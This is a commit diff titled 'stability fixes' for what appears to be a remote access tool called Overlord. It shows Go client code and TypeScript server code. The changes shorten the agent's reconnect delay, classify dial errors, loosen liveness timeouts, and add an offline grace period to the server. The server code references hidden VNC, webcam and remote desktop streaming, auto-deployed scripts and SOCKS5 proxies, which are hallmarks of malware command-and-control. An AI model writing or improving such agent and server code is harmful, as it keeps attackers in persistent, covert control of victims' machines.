vxaboveground/overlord
1
0
Fork 0
Code Issues Pull Requests Actions 1 Packages Projects Releases Wiki Activity

stability fixes

Browse Source
This commit is contained in:
KingKDot
2026-05-04 09:58:59 -05:00
parent 8a7217cda2
commit c71af228b4
7 changed files with 174 additions and 76 deletions
Download Patch File Download Diff File Expand all files Collapse all files
Overlord-Client/cmd/agent/session.go
+60 -24
View File
@@ -9,6 +9,7 @@ import (
"fmt"
"log"
"math/rand"
"net"
"net/http"
"os"
"path/filepath"
@@ -69,12 +70,10 @@ func runClient(cfg config.Config) {
}
}
tlsMinVersion := uint16(tls.VersionTLS12)
transport := createHTTPTransport(cfg, tlsMinVersion)
transport := createHTTPTransport(cfg)
currentIndex := cfg.ServerIndex
consecutiveFailures := 0
// idek how tf to fix this. sometimes the client just says fuck you and downgrades then stops connections.
allowTLSDowngrade := false
var loggedTLS bool
var lastDisconnect time.Time
var lastSolRefresh time.Time
solInitialWait := 2 * time.Minute
@@ -98,9 +97,9 @@ func runClient(cfg config.Config) {
}
log.Printf("connecting to %s%s (TLS verify: %v)", currentServer, serverInfo, !cfg.TLSInsecureSkipVerify)
conn, _, err := websocket.Dial(ctx, url, opts)
conn, resp, err := websocket.Dial(ctx, url, opts)
if err != nil {
log.Printf("dial failed: %v (retrying in %s)", err, backoff)
log.Printf("dial failed [%s]: %v (retrying in %s)", classifyDialError(err), err, backoff)
consecutiveFailures++
if lastDisconnect.IsZero() {
lastDisconnect = time.Now()
@@ -135,17 +134,21 @@ func runClient(cfg config.Config) {
lastDisconnect = time.Time{} // reset — we're connected
log.Printf("connected successfully to %s%s", currentServer, serverInfo)
if !loggedTLS && resp != nil && resp.TLS != nil {
log.Printf(
"[TLS] handshake ok: version=%s cipher=%s server=%s",
tls.VersionName(resp.TLS.Version),
tls.CipherSuiteName(resp.TLS.CipherSuite),
resp.TLS.ServerName,
)
loggedTLS = true
}
conn.SetReadLimit(8 * 1024 * 1024)
var sessionErr error
if err := runSession(ctx, cancel, conn, cfg); err != nil {
sessionErr = err
if allowTLSDowngrade && isTLSVersionError(err) {
log.Printf("[TLS] remote rejected TLS version; downgrading to TLS 1.0 for compatibility")
tlsMinVersion = uint16(tls.VersionTLS10)
transport = createHTTPTransport(cfg, tlsMinVersion)
allowTLSDowngrade = false
}
log.Printf("session ended: %v (retrying in %s)", err, backoff)
lastDisconnect = time.Now()
@@ -322,10 +325,10 @@ func equalStringSlices(a, b []string) bool {
return true
}
func createHTTPTransport(cfg config.Config, minVersion uint16) *http.Transport {
func createHTTPTransport(cfg config.Config) *http.Transport {
tlsConfig := &tls.Config{
InsecureSkipVerify: cfg.TLSInsecureSkipVerify,
MinVersion: minVersion,
MinVersion: tls.VersionTLS12,
}
if cfg.TLSCAPath != "" {
@@ -359,16 +362,49 @@ func createHTTPTransport(cfg config.Config, minVersion uint16) *http.Transport {
transport := http.DefaultTransport.(*http.Transport).Clone()
transport.TLSClientConfig = tlsConfig
transport.DialContext = (&net.Dialer{
Timeout: 30 * time.Second,
KeepAlive: 15 * time.Second,
}).DialContext
return transport
}
func isTLSVersionError(err error) bool {
func classifyDialError(err error) string {
if err == nil {
return false
return ""
}
msg := strings.ToLower(err.Error())
return strings.Contains(msg, "protocol version not supported") ||
strings.Contains(msg, "tls: protocol version not supported")
switch {
case strings.Contains(msg, "x509:"),
strings.Contains(msg, "certificate signed by"),
strings.Contains(msg, "certificate has expired"),
strings.Contains(msg, "certificate is not valid"),
strings.Contains(msg, "unknown authority"):
return "TLS:cert"
case strings.Contains(msg, "protocol version"),
strings.Contains(msg, "tls: no application protocol"):
return "TLS:version"
case strings.Contains(msg, "no cipher suite"),
strings.Contains(msg, "handshake failure"):
return "TLS:cipher"
case strings.Contains(msg, "tls:"),
strings.Contains(msg, "remote error: tls"):
return "TLS"
case strings.Contains(msg, "no such host"):
return "DNS"
case strings.Contains(msg, "connection refused"):
return "refused"
case strings.Contains(msg, "i/o timeout"),
strings.Contains(msg, "context deadline exceeded"):
return "timeout"
case strings.Contains(msg, "no route to host"),
strings.Contains(msg, "network is unreachable"):
return "unreachable"
case strings.Contains(msg, "expected handshake response status code"),
strings.Contains(msg, "unexpected http response"):
return "http"
}
return "network"
}
func computeBaseBackoff() time.Duration {
@@ -380,12 +416,12 @@ func computeBaseBackoff() time.Duration {
func reconnectDelay() time.Duration {
raw := strings.TrimSpace(os.Getenv("OVERLORD_RECONNECT_DELAY_MS"))
if raw == "" {
return randomReconnectDelay(10*time.Second, 30*time.Second)
return randomReconnectDelay(1*time.Second, 3*time.Second)
}
ms, err := strconv.Atoi(raw)
if err != nil || ms < 0 {
log.Printf("[reconnect] invalid OVERLORD_RECONNECT_DELAY_MS=%q, using 10-30s", raw)
return randomReconnectDelay(10*time.Second, 30*time.Second)
log.Printf("[reconnect] invalid OVERLORD_RECONNECT_DELAY_MS=%q, using 1-3s", raw)
return randomReconnectDelay(1*time.Second, 3*time.Second)
}
if ms == 0 {
return 0
@@ -699,9 +735,9 @@ func runSession(ctx context.Context, cancel context.CancelFunc, conn *websocket.
}
})
goSafe("pong watchdog", cancel, func() {
grace := interval + (10 * time.Second)
if grace < 20*time.Second {
grace = 20 * time.Second
grace := interval*3 + (30 * time.Second)
if grace < 90*time.Second {
grace = 90 * time.Second
}
ticker := time.NewTicker(interval)
defer ticker.Stop()
Overlord-Client/cmd/agent/session_helpers_test.go
+2 -2
View File
@@ -69,8 +69,8 @@ func TestReconnectDelay_Custom(t *testing.T) {
func TestReconnectDelay_Invalid(t *testing.T) {
withEnv("OVERLORD_RECONNECT_DELAY_MS", "bad", func() {
delay := reconnectDelay()
if delay < 10*time.Second || delay > 30*time.Second {
t.Fatalf("expected 10-30s, got %s", delay)
if delay < 1*time.Second || delay > 3*time.Second {
t.Fatalf("expected 1-3s, got %s", delay)
}
})
}
Overlord-Server/src/server/maintenance-loops.ts
+10 -6
View File
@@ -24,16 +24,20 @@ export function startMaintenanceLoops(params: StartMaintenanceParams): void {
});
}, 5000);
const livenessTimeoutMs = Math.max(
params.heartbeatIntervalMs * 4 + params.disconnectTimeoutMs,
60_000,
);
setInterval(() => {
const now = Date.now();
for (const [id, info] of params.getClients().entries()) {
if (info.role !== "client") continue;
if (
info.lastPingNonce !== undefined &&
info.lastPingSent &&
now - info.lastPingSent > params.heartbeatIntervalMs + params.disconnectTimeoutMs
) {
logger.warn(`[ping] no pong from ${id} within timeout; closing socket`);
const lastActivity = info.lastSeen || 0;
if (lastActivity && now - lastActivity > livenessTimeoutMs) {
logger.warn(
`[ping] no activity from ${id} for ${now - lastActivity}ms; closing socket`,
);
try {
info.ws.close(4001, "ping timeout");
} catch (err) {
Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts
+98 -38
View File
@@ -20,6 +20,67 @@ import { clearClientSyncState, handleFrame, handleHello, handlePing, handlePong
import { getMaxPayloadLimit, getMessageByteLength, isAllowedClientMessageType } from "../../wsValidation";
import { stopAllProxiesForClient } from "../socks5-proxy-manager";
const OFFLINE_GRACE_MS = (() => {
const raw = process.env.OVERLORD_OFFLINE_GRACE_MS;
if (raw === undefined || raw === "") return 7_000;
const n = Number(raw);
if (!Number.isFinite(n) || n < 0) return 7_000;
return Math.floor(n);
})();
type ClientLifecyclePayload = {
id: string;
host?: string;
user?: string;
os?: string;
ip?: string;
country?: string;
};
type PendingOffline = {
timer: ReturnType<typeof setTimeout>;
};
const pendingOffline = new Map<string, PendingOffline>();
function cancelPendingOffline(clientId: string): boolean {
const pending = pendingOffline.get(clientId);
if (!pending) return false;
clearTimeout(pending.timer);
pendingOffline.delete(clientId);
return true;
}
function schedulePendingOffline(
clientId: string,
payload: ClientLifecyclePayload,
disconnectReason: string | undefined,
disconnectDetail: string | undefined,
deps: WsLifecycleDeps,
): void {
cancelPendingOffline(clientId);
if (OFFLINE_GRACE_MS <= 0) {
deps.notifyDashboardClientEvent("client_offline", payload);
deps.broadcastClientEvent("client_offline", payload);
setOnlineState(clientId, false, disconnectReason, disconnectDetail);
deps.notifyRemoteDesktopStatus(clientId, "offline", "Client disconnected");
deps.notifyDashboard();
return;
}
const timer = setTimeout(() => {
pendingOffline.delete(clientId);
deps.notifyDashboardClientEvent("client_offline", payload);
deps.broadcastClientEvent("client_offline", payload);
setOnlineState(clientId, false, disconnectReason, disconnectDetail);
deps.notifyRemoteDesktopStatus(clientId, "offline", "Client disconnected");
deps.notifyDashboard();
}, OFFLINE_GRACE_MS);
pendingOffline.set(clientId, { timer });
}
type PendingScript = {
timeout: ReturnType<typeof setTimeout>;
resolve: (value: { ok?: boolean; result?: string; error?: string }) => void;
@@ -457,26 +518,30 @@ export async function handleWebSocketMessage(
await handleHello(infoObj, payload, ws, ip);
clientManager.addClient(infoObj.id, infoObj);
const reconnectedWithinGrace = cancelPendingOffline(infoObj.id);
deps.dispatchAutoScriptsForConnection(infoObj, ws);
deps.dispatchAutoDeploysForConnection(infoObj, ws);
deps.dispatchAutoLoadPlugins(infoObj);
deps.notifyDashboard();
deps.notifyDashboardClientEvent("client_online", {
id: infoObj.id,
host: infoObj.host,
user: infoObj.user,
os: infoObj.os,
ip: infoObj.ip,
country: infoObj.country,
});
deps.broadcastClientEvent("client_online", {
id: infoObj.id,
host: infoObj.host,
user: infoObj.user,
os: infoObj.os,
ip: infoObj.ip,
country: infoObj.country,
});
if (!reconnectedWithinGrace) {
deps.notifyDashboardClientEvent("client_online", {
id: infoObj.id,
host: infoObj.host,
user: infoObj.user,
os: infoObj.os,
ip: infoObj.ip,
country: infoObj.country,
});
deps.broadcastClientEvent("client_online", {
id: infoObj.id,
host: infoObj.host,
user: infoObj.user,
os: infoObj.os,
ip: infoObj.ip,
country: infoObj.country,
});
}
if (infoObj.role === "client") {
deps.notifyRemoteDesktopStatus(resolvedId, "online");
metrics.recordConnection();
@@ -802,25 +867,6 @@ export function handleWebSocketClose(
return;
}
if (role === "client" && currentClient) {
deps.notifyDashboardClientEvent("client_offline", {
id: clientId,
host: currentClient.host,
user: currentClient.user,
os: currentClient.os,
ip: currentClient.ip,
country: currentClient.country,
});
deps.broadcastClientEvent("client_offline", {
id: clientId,
host: currentClient.host,
user: currentClient.user,
os: currentClient.os,
ip: currentClient.ip,
country: currentClient.country,
});
}
const storedDisconnectReason = ws.data.disconnectReason;
const storedDisconnectDetail = ws.data.disconnectDetail;
@@ -828,7 +874,6 @@ export function handleWebSocketClose(
stopAllProxiesForClient(clientId);
clearClientSyncState(clientId);
deps.notifyConsoleClosed(clientId, "Client disconnected");
setOnlineState(clientId, false, storedDisconnectReason, storedDisconnectDetail);
deps.clearPendingNotificationScreenshots(clientId);
deps.clearClientPluginState(clientId);
for (const [cmdId, pending] of deps.pendingScripts) {
@@ -848,11 +893,26 @@ export function handleWebSocketClose(
deps.rdStreamingState.delete(clientId);
deps.hvncStreamingState.delete(clientId);
deps.webcamStreamingState.delete(clientId);
deps.notifyDashboard();
logger.info(`[close] ${clientId} code=${code} reason=${reason} disconnect_reason=${storedDisconnectReason || "unknown"}`);
if (role === "client" && currentClient) {
schedulePendingOffline(
clientId,
{
id: clientId,
host: currentClient.host,
user: currentClient.user,
os: currentClient.os,
ip: currentClient.ip,
country: currentClient.country,
},
storedDisconnectReason,
storedDisconnectDetail,
deps,
);
}
if (role === "client") {
deps.notifyRemoteDesktopStatus(clientId, "offline", "Client disconnected");
metrics.recordDisconnection();
logAudit({
timestamp: Date.now(),
Overlord-Server/src/server/runtime-constants.ts
+1 -1
View File
@@ -1,5 +1,5 @@
export const HEARTBEAT_INTERVAL_MS = 15_000;
export const STALE_MS = 5 * 60_000;
export const STALE_MS = 90_000;
export const DISCONNECT_TIMEOUT_MS = 10_000;
export const PRUNE_BATCH = Number(process.env.PRUNE_BATCH || 500);
Overlord-Server/src/types.ts
+1
View File
@@ -9,6 +9,7 @@ export type ClientInfo = {
ws: any;
lastPingSent?: number;
lastPingNonce?: number;
lastPongAt?: number;
online?: boolean;
hwid?: string;
ip?: string;
Overlord-Server/src/wsHandlers.ts
+2 -5
View File
@@ -207,11 +207,7 @@ export function handlePing(info: ClientInfo, payload: WireMessage, ws: any) {
export function sendPingRequest(info: ClientInfo, ws: any, reason: string) {
const now = Date.now();
if (
info.lastPingNonce !== undefined &&
info.lastPingSent &&
now-info.lastPingSent < MAX_PING_RTT_MS
) {
if (info.lastPingSent && now - info.lastPingSent < 1_000) {
return;
}
const nonce = now + Math.floor(Math.random() * 1000);
@@ -245,6 +241,7 @@ export function handlePong(info: ClientInfo, payload: WireMessage) {
const nowTs = Date.now();
info.lastSeen = nowTs;
info.lastPongAt = nowTs;
info.online = true;
info.lastPingNonce = undefined;